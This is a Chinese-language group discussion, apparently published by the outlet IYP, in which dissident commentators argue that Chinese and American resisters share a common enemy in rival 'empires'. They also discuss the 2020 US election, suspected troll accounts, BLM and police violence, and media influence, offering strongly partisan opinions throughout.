请注意，战争罪行本身是真实的，在这里看到调查报告；但是，中国的赵使用的照片是假的。中国的外宣机器声称其“反战”，但它不是真的反战，而是地缘政治嘴炮，它所指向的不是战争，而是国家——否则你为什么不使用真实的调查报告？杀戮平民的证据有很多，有一众吹哨平台和独立的权利组织长期对战争罪行进行追踪和披露，证据比比皆是。为什么他们绕开证据？

因为他们是外宣，他们所代表的政权和他们所攻击的政权一样，都害怕真相。真相才是他们最惧怕的东西，这就是为什么没有人愿意庇护吹哨人，因为吹哨人和吹哨平台会曝光一切政权的阴暗面，当然包括庇护他们的国家的政权。

但异议，不论是否偏执，他们始终是对事不对人的，他们会拿出充分的证据以支持自己的反对立场；他们反对的是恶行本身，而没有任何政治利益考虑。

𝔑：你们真是应该做点新闻的内容，中文新闻太差劲了，这些东西都看不到。

𝔈：我还是觉得美国异议更高明一点，至少人家有多年的反抗经验，中国人是崛起了一次后30多年还没缓过来。

𝔰𝔱𝔬𝔫𝔢：其实我一直很钦佩中国很多反抗者的智慧，从多年前的自媒体博主“非新闻”，到如今的创意型反抗，还包括记录中国因言获罪案件的twitter博主，这些起诉书如今已经很难获得，不仅需要手机号注册，而且必须是中国的手机号；如果没有这些勇敢的中国行动者，我们这些外国人是无法看到那些信息的。北京当局显然很明白因言定罪是愚蠢的和可怕的，他们在努力将这些荒唐之举隐藏起来。

一些中国活动家并不缺乏创造力，而且具有足够的热情和胆识，对此IYP一直在心中赞美，虽然这些赞美没有更多反应在我们的文章中；这不过是因为 **IYP** 所期待的是能够帮助人们在各种方面得到提升，从眼界到技术，从行动灵感到保护技巧，于是我们的内容安排往往高度

贴近专业性，也许乍看起来有点令人望而生畏。

但我们依旧认为这是需要的。当权者的维稳战术始终在不断提高，他们掌握着丰厚的资金和最先进的技术，还有一大群外国技术公司、学者甚至武器经销商愿意和专制政权做生意；技术每一天都在提升其能力，尤其是镇压技术，提升的速度最快 —— 如您所知，钱放在哪里，哪里就会发光；当钱被集中在1%权势手中时，这就是您看到的世界。

而只有当反抗者将自己的能力始终保持在更高的标准上时，您才有希望获得成功。您完全不需要等待自己家门口的维稳当局学会了大洋彼岸的镇压战术时再去推特上画一个惊叹号，现在您随时能看到全世界的动态，您只需要关注它们，并思考“如果这发生在我身上，我可以怎么应付”。

如果足够多的人作出这样的思考。不论您的政府如何模仿他国的手段，您都能有所准备 —— 这就是我们在“整体安全”教程第5集中介绍的方法：紧贴时局。

𝔘：那么中国异议缺什么呢？肯定缺点什么吧？

𝔰𝔱𝔬𝔫𝔢：我们认为缺少的是专业的培训，加上不太擅长联合；这两点都会局限您的想象力、限制您的信心。

培训可以提供动手的机会，只有您亲手试过，那些知识才能真的被记住（已经有朋友体验到这点了），并由此激发您自己的创意，知识带来信心。而联合可以给您力量，当您以“我有帮手”为基础思考时，和“我不得不孤军奋战”状态下的思考是完全不同的，在联合的基础上您将有更大的视野、更多获胜的自信心。

𝔘：的确是，很多人在说“那不行/不可能/没希望”的时候其实都是在孤军奋战的心态下说的，在中国这也算是一种诚实吧我觉得，联合是真的难，中国的特点是一小群人站起来了，然后其他人都看着。然后这小群人很快就被压下去了。

虚无就是这么来的。虚无的味道在中国特别浓，闷声横发大财这个说法你们知道吧？说得就好像随便什么人都能发财一样，其实99%都是给富人做苦力的，资本主义的骗局。就从那时候起虚无就出现了，不是从现在。

𝔰𝔱𝔬𝔫𝔢：哈，知道的，江泽民。这的确是资本主义的经典骗局之一，它

欺骗人们相信“如果你足够努力，就可以成功”，成功学骗局，它拒绝谈论阶级，拒绝承认统治阶级的不劳而获和垄断资源之所以能稳固，正是建立在绝大多数人任劳任怨卖命并保持着贫穷的基础上。

𝔘：你们那个讨论中国是资本主义的文章，甚至是一种更糟糕的资本主义的那几篇，影响不小，我看到有好几个人在传。对于资本主义的讨论在中国有一段时间了，我身边很多人都认为中国是资本主义，嘴上说“社会主义”只是个随着北京腔调的调侃，大家心里都明白。打工人、还房贷、996这些，段子、meme，如今多流行你们肯定知道，这些都是调侃资本主义的亚文化。老百姓都不傻。

𝔳𝔦𝔠𝔱𝔬𝔯：百姓是最聪明的人，因为他们始终在体验现实。就如一杯水，不论评论家和宣传者们如何描述它，最终老百姓才是喝下那杯水的人，是甜是苦、是冷是热，他们心里最清楚。

当然，现实中政治不是一杯水那么简单，并且往往您还没机会真正品尝它的滋味的时候，就要被迫为其埋单；这就是反抗者需要出现的地方，清楚地告诉人们端起这杯水后的结果是什么。

这意味着您必须站在百姓的立场上说话，而不是您的个人立场和目标，您是百姓的一员，是他们中最勇敢和聪明的人，您诚实，人们就会支持您，反之，人们总有一天不愿再上当。

𝔑：现在终于想明白了你们为什么说在中国和世界之间的跨文化传播就像拔河比赛，victor 说的那些我都怀疑是不是能有中国人看懂 😂，好吧我就是在担心咱们这些聊天记录如果公开的话，会不会炸了啊……

𝔰𝔱𝔬𝔫𝔢：它必须公开，这正是我们召集大家匿名交流的原因。

𝔑：我想听你们说说为什么中国异议应该和美国反抗者联合，要是联合不了会怎么样？各自战斗自己的战斗不行吗？

𝔳𝔦𝔠𝔱𝔬𝔯：这里指的“联合”更多是意志层面的，即 中美反抗者应该意识到他们具有相同的敌人，那就是 —— 帝国强权。中美反抗者不论身在何处，都可以站在同一条战线上对抗强权；他们无需相识，无需坐在一起深入交谈，但他们始终能够朝着同一个终极方向努力，那就是 ~ 打破高堡奇人。

那么什么是帝国？请注意，这里需要中美反抗者同时排斥其本国政权对帝国这个概念的叙事操纵 —— 同时。

在中国，我们曾经亲耳听到著名异议知识分子宣称“帝国这个词不能说”，这是来自于长久以来北京的恶意宣传，那位异议知识分子明显就是宣传的受害者，他已经无法看到他自己的国家正在成为帝国；在美国，受宣传侵蚀的人也许更多，每个人心里都有一个微型的 John Bolton，将战争视为美德。

两个帝国的争霸，这就是高堡奇人的故事。IYP 的列表-4 “高堡奇人的世界” 中，将中国单独拿出来作为一个板块来呈现，起名为“半壁高堡奇人”；正是由于中国异议人士很可能在较大程度上还没有意识到中国正在成为第二个帝国。因此也有可能尚未理解到这一趋势的危险。

“半壁高堡奇人” 您可以在这个板块中的内容里看到中国如何正在加速走向帝国的部分信号。之所以是部分而不是全部信号，只因为IYP的主题限制，但这部分已经足够了 —— 因为**IYP**的主题正是这个时代帝国争霸的关键主题，即 数据新石油/技术霸权。就如普京在很多年前就说过的话：“成为技术领域领导者的人将成为整个世界的统治者。”

华盛顿已经清楚地看到了中国帝国的潜质，《美国的选举为什么撕裂了华人群体》中写到了这点：不论任何人在2016年当选，新冷战都很可能会出现，“这已经到了美国不得不做点什么的时候了” —— 也就是在暗示，如果您支持特朗普仅仅是源于特朗普对中国的态度（正如一些中国网络上流传的句子所说的那样“只是爱看他揍那些我想揍却不敢揍的人”），那么您完全不必支持特朗普。

然而，华盛顿采取的抵御中国帝国的方式 **并不是**是以瓦解帝国为目标的 —— 美国反抗者的目标才是瓦解帝国 —— 华盛顿的目的是“这个位置只能有一个，必须是我而不是你”。这就是为什么人们惊讶地看到比恶的奇观 —— 他们将中国视为榜样，也是为什么美国著名学者敢于写出“美国需要中国那样的审查制度”那种令人瞠目结舌的文章的原因。

如果只站在帝国竞争的平面视角上看，美国的做法是对的；显然，赢得这场流氓竞技的“最佳”方式就是，把自己变得比对方更流氓。

但那样的结果是什么呢？每个人都知道 —— 甚至连美国企业媒体现在都知道了。这就是为什么反抗者必须超越高堡奇人，不论是中国的反抗者还是美国的反抗者。IYP的《超越高堡奇人：在美中的帝国争霸之上》已经很清楚地演示了这一思考方式。

ℭ：我好像想起了一个推特评论，早前看过的，其中具体是啥主题我

都忘了，其中有人说“我支持 iyouport，至少谁都骂”

stone：哈哈，“谁都骂”似乎不够准确，我们只骂错误的东西。当然，我非常理解这句话指的是什么，比如中国 or 美国、Facebook or 微信、谷歌 or 百度之间、苹果 or 安卓、拜登 or 特朗普，等等，我们的确反对这些二元思维，但这样做的目的是帮助人们超越这种二元思维，打破红蓝药丸的狭隘对比，如果我们想赢的话。

victor：这并不是什么新奇的思路，即便在中国也已经不是新奇，我们的读者中就有很多人认识到了超越高堡奇人的必要性，人们开始支持开源自由软件、支持去中心化网络、看到了美国两党的同样性质。我在私下和一些中国朋友对话，他们中很多人都表达了清楚的认识。

现在反抗者急需摆脱的是叙事矩阵，不论是中国的还是美国的反抗者，其反抗行动从根本意义上讲都是在与 **matrix** 对峙。就如我们在前面进行的对比，关于中美反抗者的区别和相似之处，其中您可以看到，在对峙 matrix 方面，美国反抗者的难度更大。

这不过是因为北京的洗脑模式是恶意愚蠢，中国人一定程度上已经习惯了“自动”反向理解北京的任何宣称；但是，危险也正在这里（对于超越高堡奇人这一目标来说的危险和障碍）。因为仅仅反向理解北京的宣称是远～远～不～够～的，这种理解只是把你推向高堡奇人的另一边。如果您可以读懂《真正能打破墙的东西可能不是梯子》这篇文章，这里就无须过多解释。

叙事就是权力大厦的地基，不论它是恶意愚蠢还是半真相。如果你能打破叙事，就能让权力倒塌。

叙事是帝国的经文。帝国是一种非常不开明的宗教，它要求信徒完全臣服于教义，并对任何异教徒进行封杀；他们通过各种媒介传输他们的经文，报纸、电视、电影、娱乐活动 …… 一切都必须围绕着经文的价值观，他们不允许评判和质疑，虽然他们还没有真的烧死批判者，但他们会想尽所有办法让批判者噤声，不论是抓捕、恐吓、还是网络封锁和审查。

这种帝国宗教旨在主导全世界 —— 就如中国在联合国所做的那样 —— 他们在虚无缥缈的叙事结构中构建信仰。如果你属于宗教少数派，你就会发现自己已经被权力大厅拒之门外，这里是只有信徒才能进入的地方。这就是为什么民主党会压制桑德斯的选举。

也是为什么美国反抗者一直在使用“统治阶级”这个词来进行批判。

目前只有中国异议人士还在针对两党之一。

他们是统治阶级，而我们是被统治阶级，反抗者不愿继续做被统治阶级，不愿屈服于压迫。于是他们站起来了。

𝔘：在特朗普感染冠状病毒的时候我记得有人说过类似的话，谁说的我忘了，说 “那是一个俱乐部，特朗普是该俱乐部会员，而你不是，你连大门都进不去”。是反对给特朗普祈祷的那种人。

𝔳𝔦𝔠𝔱𝔬𝔯：是的，这是美国著名作家和社会批评家 George Carlin 的话。不论是为特朗普还是为拜登祈祷，都不仅是愚蠢的，而且是可怕的，这完全无关所谓的 “文明”，而是你没能认清自己的阶级，或者简单说，你尚且不是反抗者。

用所谓的 “文明” 忽悠你，这正是叙事矩阵主使者的目的。

自由派政治 / 媒体阶层对特朗普感染病毒的回应足够表明， 他们从来没有真正害怕过特朗普。事实上，他们一直害怕的是你 —— 每一个普通公民。他们的工作不是抵抗特朗普，他们的工作是抵抗你。

> **“There is unity in the oppression. There must be absolute unity and determination, in the response” —— Julian Assange**

ℭ：我说句吧，你们这种对两党同时批评的，在中国特别突兀，你知道中国人都在干啥吧，他们列了名单，一边是支持民主党的，一边是支持共和党的，我都不知道他们靠什么标准列出来的，总之就是强行撕裂中国异议。下面这个是我在其他地方看到的那个列表，有人说这个不全，还特么有新版！

𝔑：iyouport 说 “避免使用川粉” 这个词，也有人认为是骑墙。我身边就有。但你仔细想想就知道，川粉拜粉不过是分化人们的标签，可以随便给任何人贴上，然后就能开撕了。

ℭ：也不是所有人都这样，我看到已经有人指出贴标签没意义了。比如下面这样。

𝔰𝔱𝔬𝔫𝔢：嗯，这很好。但这依旧不够，当我们说 “超越” 的时候，它所指的应该是在对和错的平面框架之外的、新的建议。否则就只能是 “中间” 了，或者说中文所称的 “骑墙”。

victor：就是二维和三维的区别。不论您是否能达到三维，或者说，不论您有没有新的突破性建议，至少您应该看懂二维中无法解决问题。

现在有越来越多的人能做到这一点了，人们能看到在笼子里的争吵是多么的无用，人们会说“嗨，这样做的意义是什么？”没有选票的中国人围观美国的选举有什么意义？面对警察暴力忍气吞声的中国人围观BLM抗议有什么意义？

当您出现这样的疑问时就意味着，您准备好开始寻找超越的路径了。

互联网提供了前所未有的便利机会，允许您从全世界学习经验教训，以思考如何给自己构建更好的未来。当您知道镇压抗议者使用的那种毒气的威力时，您就能记得，在您的抗议活动中如果遭遇这种榴弹，不论多么想吐都不要摘下面罩，否则会有严重后果；当您知道警察如何根据推文抓捕抗议者时，尤其是，您知道了全世界的警察都在这样做，下一次在围观您身边的抗议活动时，不要再急于上传现场照片和视频，毫无戒心地传播信息只会帮倒忙 ……

U：宪法真是顶个球了，他们真的敢在自己国家用化学武器针对老百姓，哎。

victor：宪法和道德往往都被作为事后的考虑。抗议者顶着宪法上场是无法抵挡子弹和毒气的。于是，您需要考虑的不仅仅是如何对暴力镇压取证，以便事后让暴行黑手付出代价，并且，您要知道在现场该如何保护自己。先活下来，才有机会。

C：很多人告诉你啥啥事都是“试金石”，就是说观察身边人的观点，然后再拉黑一批…… 啥事都能让你拉黑一批人，就像IYP说的“这比没用还糟糕”。

stone：我们的确需要警惕这件事，关于那些故意撕裂对话的行为。不论他们是否能够被证明受雇。

这次大选中特殊的一点是，victor 发现了使用中文在特朗普和拜登两边同时拉动以撕裂对话的疑似 trolls 案例。

这就是为什么我发帖声明：避免使用川粉这个词。支持还是反对，我们都可以坐下来谈谈原因，讨论一下其中哪些原因是合理的、哪些不合理，以及为什么。如果是毫无原因的胡乱支持，那就是捣乱，不值得考虑进来。

如下，Glenn说得很对。民主就是要随时准备好和不同意见的不期而

遇，如果不能通过商讨和辩论以寻求改变的方案，就不会有政治和社会的改善。社交媒体算法暴政以“定制人”的手段对每个人量身定做内容，只为了讨好每个人的自我荣耀感，制造强大的回音壁气泡，这正是他们破坏民主的手段。

您必须能找到摆脱它的基本方法。

“华川粉”这个词表面上包含两个特征；华人账户 + 支持特朗普。但是，这其中将细分出很多完全不同的部分。一些是与我们交流过的人，其中包括部分人采取的是2016人很多美国人的愤世嫉俗态度（类似加速主义，我称之为“破坏性焦虑”）；另一部分则担心民主党的绥靖历史将在拜登身上“重演”。

这些是真实的人类，而我们在社交网络上搜索“华川粉”时，找到的案例中很多都比较可疑—— 那些账户在美国投票前夕注册，几乎所有帖子都是谩骂，并没有任何思考、甚至有一些都没有提供虚假信息以支持“自己”的立场。

比如一个典型的案例，在大选投票后辩论高峰期时最新注册，它比较倾向于攻击有影响力的中国异议账户：

再比如另一个专门喷特朗普的账户。中英双语发布，注册于2017年，但直到目前为止，3年内只发布了35条内容，其中大部分是回复其他人，并且尤其是，其有些回复内容与原帖完全无关。有可能的是通过搜索关键字比如“中美/美中”来抓取内容的。

这些特质符合鉴定trolls的多个指标。但是，仅仅如此无法确定究竟是自发行为还是受雇行为，只有能拿到受雇证据时，我们才能称其为水军。

IYP 没有时间做详细调查，但我们已经提供了很多做这方面调查的技巧，任何学到这些技巧的人都可以开始调查。

如果您能证明存在受雇的水军 —— 采取从两端同时下力撕裂对话的手段，那将是一个重要的信号，意味着中国当局的信息战能力已经显著专业化了。

不论如何，当您看到身边同伴因“华川粉”而恼怒的时候，您可以请对方举例。如果您发现被举例的是疑似的 trolls，请告诉对方验证方法；如果被举例的是著名博主，请和那位博主探讨一下关于为什么支持。

𝔳𝔦𝔠𝔱𝔬𝔯：他们就等着我们撕裂呢，只有挑拨到我们无法再联合起来利用我们最强大的武器 —— 庞大的基数 —— 去挑战那1%时，权力才能绝对稳固。如果我们抱团，他们就会采取各种方法挑拨我们，不论是trolls还是政治渗透，其最重要的手段之一就是挑拨，对此IYP搞过一大堆报告、可视化分析、追踪演示、游戏等等。就是希望提醒人们这件事。

𝔰𝔱𝔬𝔫𝔢：如果把所有这些放在一起将其称为“华川粉”，是完全误导性的，而这种混淆显然已经成功地令很多华人推特用户失望 —— 他们看到了一种“极右翼暴徒崛起的整体生态”，在愤怒之中他们将很难冷静下来思考这其中的区别。

𝔘：斯诺登说了，改变时代不仅仅需要香港人的激光器和交通锥。我觉得还必须有智商。中国的“特殊性“ 如果有的话，那就是，它可以将丑陋和恐怖强行变成“荣耀”

> 一个多极的民主的世界并非不可能，但绝不是哪个政府带来的，而是哪个国家的人民。那些真正的反抗者。

ℭ：2020年三个最大的热点，其中两个都是美国的事，一个BLM，一个大选。中国人把冠状病毒都忘了。

你们总说社交网络上的人们抓不住重点，那么冠状病毒和BLM的重点应该是什么？

𝔰𝔱𝔬𝔫𝔢：冠状病毒的重点不只有防疫，对于我们这些都没有死于病毒的人们来说，我们将不得不承受后疫情时代的一切 —— 从监视的高压化成为常态、到国际关系变异、到数字技术的更为深刻地侵蚀社会、还有众所周知的经济状况不规则地改变（只有富人变得更加富有）。

有充分的历史可以证明。一场疫情对政治、社会、技术和经济的影响，也许会蔓延数十年。危机是寡头的能量之源。生命受到严重威胁的状况下，人们已经无暇顾及人权和尊严，而那些黑手就借助人们的恐惧来实现在“正常”状态下肯定会遭到普遍反对的措施和计划。一切都是以“防疫”为名。

这种手段正是强权一贯采取的。还记得“恐惧诉求”吗？劝导术中最厉害的一手。

如果人们能够尽早将注意力放在这一重点位置上 —— 就如美国反抗

者不断提醒的那样 —— 就有希望遏制后疫情灾难的蔓延。这只是政治方面的

而对于BLM，我们有过解释。中国舆论场普遍将注意力集中在种族歧视问题上，这不是错误，但是远远不够。您的重点应该放在“我们”（中国人）能从中借助到什么样的力量。全球很多国家都在迅速借助BLM运动的热潮挑战自己本国的警察暴力问题，中国的警察暴力现象如此突出，为什么中国异议人士要错过这个重点？

请仔细阅读下面的图片。中国的警察暴力 案例— 来自中国律师的照片

刑讯逼供是典型的警察暴力之一

并不是中国没有种族歧视问题，绝对不是；但是，在BLM案例中“种族”被下意识地认为仅限黑人。如果你使用这个主题，你需要花费至少几个 thread 去解释自己，并且无法保证人们愿意阅读。异议人士和活动家必须在热点事件中寻找可以调动本土的捷径。这里的捷径就是警察暴力。俄罗斯的活动家对此的反应是最敏锐的。

您可以回忆一下，当时中国舆论场的主要冲突发生在哪里？是的，人们被集中在是否同情黑人的彼此批评、彼此撕裂的冲突中。反对BLM运动的中国人真的歧视黑人吗？我并不觉得是。

来自中国的种族歧视并不歧视腰缠万贯的NBA球员，当拳王阿里的儿子发文挺特朗普并反对BLM的时候（是的，他准确感知到了BLM对极右翼语话的冲击）中国舆论中的支持者众多。这是什么？它不是种族主题，而是阶级，就像围在马斯克推文下面告诉大佬他自己昨天晚上喝了多贵的威士忌的那些人，他们很可能不会对坐在街角的无家可归者多看上一眼，不管那是白人还是黑人。

再一次，如果您将注意力放在种族歧视上，就会跑题。中国当局一点不傻，在*BLM*开始后他们迅速发布了这些文件，满篇都是“不准”：*https://t.me/iyouport/7306* 反抗不仅要“跟上”镇压的思路，并且，必须比维稳者抢先一步，您才有机会取胜

𝔘：这就是你们总说的“知识分子需要像活动家那样思考”？

𝔰𝔱𝔬𝔫𝔢：是的。

您经常能听到有人说“中国是一个孤岛”，似乎外界的变动无法波及到中国？事实上并非如此，欠缺的只是中国知识分子的论述如何引领中

国社会和世界最进步的那部分的连通。就BLM而言，如果您聚焦种族，就会把它变成 “别人家的事”。

中国的 “裂缝” 不只有中国与世界之间的裂缝，更有中国知识分子和活动家之间的 “裂缝” —— 这两个社区难以协作同步。如果知识分子能更多考虑如何站在变革力量的舞台上和行动者一道持有推动变革的共同目标，朝着这一目标去努力，或至少放轻在争论中的个人输赢竞争，就能弥合这一裂缝。

其实我是乐观的，因为我已经看到一部分中国舆论开始思考本土问题；但是范围不大，而与此同时，很多著名知识分子把精力放在一个无法对本土动员有益的角度上，实在浪费。我不觉得中国社会现在就需要行动，但行动什么时候出现，谁也无法预测，于是关键在于，人们的思考方式能否有利于行动酝酿。

尤其是移民海外的中国异议人士，特别有义务将 **真正的** 民主通过网络中文内容带给中国社会。

victor：华裔移民之所以无法融入当地，是因为他们中大多数人的流亡都建立在一个狭隘的思考上，即 “终于能批评共产党了”。而不是真正开启反威权反暴力的抗争机会。这就导致他们继续存在于微信群组中很大程度上不是为了与国内力量联合，而是享受一种舒适的看台坐席。

反抗者才是美国的民主 “部分”，独立媒体和独立组织才是民主的智慧；如果您的注意力围绕华盛顿和企业媒体，那只会错过最重要的价值。

中美反抗者的联合并没有您想象中那么难，如下，中国朋友贴在 Facebook 上的 meme，这就是联合 —— 朝着捍卫透明度革命和民主真相、并抵制监视资本主义的方向，共同努力。

victor：一个多极的民主的世界并非不可能，但绝不是哪个政府带来的，而是哪个国家的人民。那些真正的反抗者。

stone：知识分子像活动家那样思考不是一件容易事，尤其是在社交媒体上，更加不容易。

知识分子最先想到的总是对已经出现的现象的观察和探讨，在社交媒体上，这种思路就会首先被舆论场的所谓的 “热门话题” 所绑架；在网络上的一切都是飞速的，几乎很少有人能停下来想想，那些热点是

怎么来的？是真正的社会矛盾还是被人为操纵的结果？

信息战水军之所以大规模出动，正是为了推高虚假的“热点”，以转移人们对真实问题的关注。在全球都是如此。

知识分子非常需要在此保持冷静，不论这有多难；事实上只需要知识分子将行动的大目标始终放在心里，就完全可以做到。最大的障碍莫过于您个人的知名度、粉丝量和声誉考虑 —— 的确，这些东西只有当您“紧跟热点”、言他人之所言时，才能得到。

但那真的是您吗？您的奋斗目标只为了那些虚幻的粉丝数字？

并且，知识分子需要考虑的是，哪些东西值得研究，哪些东西研究它会产生完全意料之外的效应。

就如上面的例子，如果您专注于研究“为什么如此多的中国人如此保守”，就会显得您在排斥保守派，您是这样吗？我觉得应该不是的，我们的原则始终是超越左右，只要是好的方案，都值得尝试。如果您不必要地给他人带来了阵营界限的误解，只会对您的组织动员不利。

左右范式是极化的根源，人们一旦给对方贴上了左右的标签，对话就结束了。让社会极化是强权获利的绝佳途径，强权是唯一的获利者。IYP致力于结束左右范式，从真相开始，重新与彼此接触。任何人—— 不论其声称左还是右—— 如果拒绝接受真相，那将是没有对话价值的唯一判断标准。

再比如，IYP曾经发布过《拜登新政府会释放吹哨人吗》，但那个帖子仅仅是关于拜登新政府分析的全部内容的不到1/5，还有4/5＋我们不会再继续发布。因为在这个帖子发布之后，一些支持特朗普的中文账户迅速采取了这一思路 —— 以与反抗者的利益相反的权势利益为目标，这种情况下我们能做的就是迅速中止这个议题。

这并不是说我们会屈服，更不意味着拜登政府的得分会上升，绝对不是（我们指出过这点，拜登已经在很大程度上只是个空壳，他身边的人将以他们的利益影响政策，这一切都是事实，不会改变）；我们只是需要在中文语境下更为恰当的时候再继续这个话题。那个时刻不是现在。

这是一个较近期发生的典型的案例，引用它以说明上述问题，即 知识分子的研究选题需要努力接近活动家的思考方式，需要考虑您的本土语境（在美国反抗者的本土语境下，目前就是披露拜登身边人的绝佳

时期；但在中国则不是）。

想象您在打铁，以制作兵器，您需要的是在温度升到足够恰当的时候开始挥舞榔头。力度要足够，温度也要足够，以一支好剑的理想为终极目标，您的全部注意力都在自己手里的这块铁上，而不是参考或模仿其他工坊的操作节奏。

最终每个工坊都能制作出利剑，不论是中国的还是美国的铸剑人，因为你们的目标是相同的，在技术的世界里没有国界，智慧和技巧所有人共享。这就联合。

𝔈：有难度，我觉得中国知识分子都是蹭热点的，几乎没有这样的考虑。他们考虑的只是自己的知名度。尤其那些吹鼓手媒体，特别爱找这种蹭热点的知识分子发言，那就肯定自动推高了呗。

𝔰𝔱𝔬𝔫𝔢：“难度”就在于知识分子心目中必须有一个大目标，这个目标不论您如何描述它，它必须具备服务于人民的利益这一宗旨，而不是统治阶级的利益。

媒体可以给知识分子一个放大声音的平台，知识分子必须能更好地利用这个平台去实现人民大众的利益。如果您的发言主题被企业媒体拒绝，请记录下前后过程，在您自己的博客中讲述给所有人，这本身就是重要的反抗。

𝔈：说到美国的企业媒体，尤其是外宣，他们的中文内容真是太傻了，简直是嫌中国人还不够傻啊，拼命地拉低智商，很多中国人对美国政治的误会都是跟这些企业媒体和外宣的内容有关，尤其是那些英文不行的人，也不可能知道啥是喉舌，啥是独立声音。

比如下面这个，我前几天看见的，然后我就想起IYP早前说的，一看这个标题就知道是错的：

𝔰𝔱𝔬𝔫𝔢：嗯，的确是，正如我们引述的美国反抗者的分析，不论任何人赢得2016年大选，对中国的新冷战都会开始，或许形式细节上稍有差异，但性质一样。这不是特朗普“确立”的规则，也不是任何人，而是时局决定的。

总统负责叙事，他是叙事的管理者，他代表支持他胜选的利益集团的利益发言，以管理叙事。就如木偶给孩子讲了一个故事，您无法说这个故事是木偶讲述的。

这次大选前，4年前的希拉里邮件再次在中国舆论场火爆（好吧，这

很可悲；因为这次阅读是来自于宣传，4年前才是透明度革命，但是），您应该从中看到关键的部分 —— 希拉里如何私下对精英阶层承诺如果她当选会如何满足1%的欲求；您不会认为这只是一个候选人的“特例”吧？

总统是表演者，而非剧本的编写者，他负责呈现，而非定义。他可以发挥，但不能偏离利益集团的需求，否则他就不能在这个位置上站稳。

计票前几乎所有人都在围观民调数字，美国反抗者不会这样做，IYP当然也不会（在这里看到民调究竟是什么，一定要读这本书，高度推荐！），我们要看利益集团的动作。

寡头政治中的派系可以表现为某人在某种情况下支持这只手而不是那只手 —— 比如投票前的数字是有106个亿万富翁捐助拜登；捐助特朗普的有93个；但是，所有寡头的共同点是需要维持建立各自王国的**相同的** 基本状态，这意味着尽管最高层可能会发生一些权力斗争，但不论结果是什么，都不会改善压迫性，剥削性、和奥威尔式的现状。

美国反抗者很明白，大选不是实现变革的途径，舞台上的都是演员，剧本并不是他们写的。不论人们叫好还是摔桌子。

𝔘：明白了，要看钱去哪了，而不是看民调数字。

𝔰𝔱𝔬𝔫𝔢：是的。这就是为什么他们会想尽办法使用黑钱的手段 —— 就是那种难以追踪的资金，也是为什么很多年来对黑钱的调查都是美国公民组织的重点之一。比如，这里有很多报告可以看。在寡头政治中民调数字很大程度上只是选举前的宣传噱头，只有企业媒体和政客喜欢玩弄它。

ℭ：所以说对中国和台湾的政策也会保持不变。

𝔰𝔱𝔬𝔫𝔢：是的，在特朗普时代发生的一切都会在拜登时代延续，其中当然包括对中国和台湾的政策意向。

ℭ：此外呢，还有什么会保持不变？

𝔰𝔱𝔬𝔫𝔢：“此外”，比如：

1、大多数关于大选的评论都出现过类似的论点：认为拜登可以修复美国和其盟国的关系，以孤立中国。

但是这很大程度上还是基于经贸领域的判断（或者说在特朗普的基础上的判断），在其他两个更重要的相关的领域上，这做不到：

一个是技术领域，另一个是与技术相关的情报领域。对于技术领域，就连5眼之一的澳大利亚也正在尝试摆脱 Facebook 和谷歌（比如ACCC最近的法规和相关辩论），对于情报领域，如欧洲终结的跨大西洋数据交换（从这篇文章看到具体解释）。

这两个角度的趋势短期内都不可逆，与谁当选没有关系。直到彻底的革命：摧毁监视资本主义的革命、选举革命、解除间谍机构凌驾于一切的特权。

但这些都不是拜登能做到的，拜登是造成这些问题的系统中的一员——如上所述说，那个“俱乐部”的一员。

2、选民中流行的2个热门观点都是错误的：

- “我投拜登投的是反法西斯主义”——不，你做不到，相反，这个想法带来的自满才会真正阻碍反法西斯主义；
- “特朗普会被清算”——不，这也不会发生，DC的传统是彼此包庇、互相销毁证据；

正如 Joseph Kishore 所言，民主党人面对特朗普的政变阴谋所表现出来的怯懦，令人鄙视。民主党害怕任何会引起大规模动乱的事，这不仅仅可能发展成为反特朗普的运动，而且，还会威胁到整个资本主义体系。这就是为什么他们决定“什么都不做”。

民主党是华尔街和军方的政党。随着选举临近，拜登在第三季度的筹款得益于金融业的大量资金流入。在过去的4年中，民主党对特朗普的“反对”并不是集中在他的法西斯主义政治上，而是，集中在军事和情报机构的主要部门对俄罗斯和中东采取更加强硬的外交政策的要求上。

3、拜登不会对科技寡头动手，就如某 bigtech 高管所言：拜登先生“在行业中有很多朋友，这是他感到非常满意的世界”。您想到奥巴马了？您是对的。

拜登是否能真正对反垄断做点什么，需要看1月份的参议院选举结果，如果共和党控制参议院，拜登什么都做不了，假设他想做的话。

对中国，硅谷流行的说法是“如果对华为太过强硬，就会迫使中国开发自己的产品而破坏美国公司的利益”，拜登会听到这样的话，但依

旧很可能延续特朗普的做法。

4、尤其是，您依旧会继续听到关于拜登和中国政府“暗通款曲”的消息，甚至证据！在大选投票前，美国反抗者就警告过这点了。请记住，这与特朗普的俄罗斯门是一样的东西，您应该随时记得：这一切都是统治阶级的内部游戏，您和我这样的人不在他们那个俱乐部里。

坚守我们自己的反抗目标。此外的一切都是闲事。

𝔑：还真是，俄罗斯门时也就你们没掺合，整个中文圈一直在爆，还有人说你们不掺合是为挺特朗普，哎。他们不理解为什么关心这些东西压根没用。

𝔰𝔱𝔬𝔫𝔢：民主党大会上对俄罗斯门只字未提，他们心里很明白这都不是关键。但他们的任务就是让老百姓们去相信“这很重要”。他们控制的算法用虚无缥缈的互联网知名度作为“奖励”给那些遵从他们的人。

在拜登时代您还会看到同样的故事上演。这一次，人们不应该再掉进同一个坑里了。

ℭ：企业媒体绝对不会告诉人们这些。咱们这个聊天可以留4年，哈哈，可以验证 stone 的预测是不是真的。

𝔰𝔱𝔬𝔫𝔢：非常支持！IYP 提供的大部分内容都可以让您反复读很久，我们不愿意做过眼云烟的内容。

ℭ：媒体对人们认知的控制能力究竟有多大，人们应该会思考啊？

𝔰𝔱𝔬𝔫𝔢：控制能力很大，准确说是影响很大，人们通过媒体来了解世界，就算媒体完全不撒谎，他们的侧重点 —— 甚至是完全无意的侧重 —— 也会对人们的认知形成影响。导致人们偏离事实，据此作出错误的选择。

举个例子。下面是一个英国的投票，它问“究竟哪个间谍机构是最不负责任的”，或者说最不靠谱的：

事实上最不负责任的应该是 MI6。

- Defence Intelligence (DI) 理论上是被信息自由法案覆盖的，当然，他们是否真的提供信息给公民，那是另一回事（就像美国那样，信息自由法案基本形同虚设）；
- GCHQ 实际上有一个新闻办公室，如果您想叫它公关我也不反

对，但这个部门的确存在；
- MI5有一个含糊不清的接触过程，公民调查需要看运气；

而 MI6，它什么都没有，犹如黑洞。

那为什么这个投票的结果显示为 GCHQ 呢？很简单，因为斯诺登文件中最多出现的就是 GCHQ，于是它更多出现在企业媒体的新闻里。然而这并不表明其他间谍机构干的脏事儿会少任何一点，而且不会让您知道。

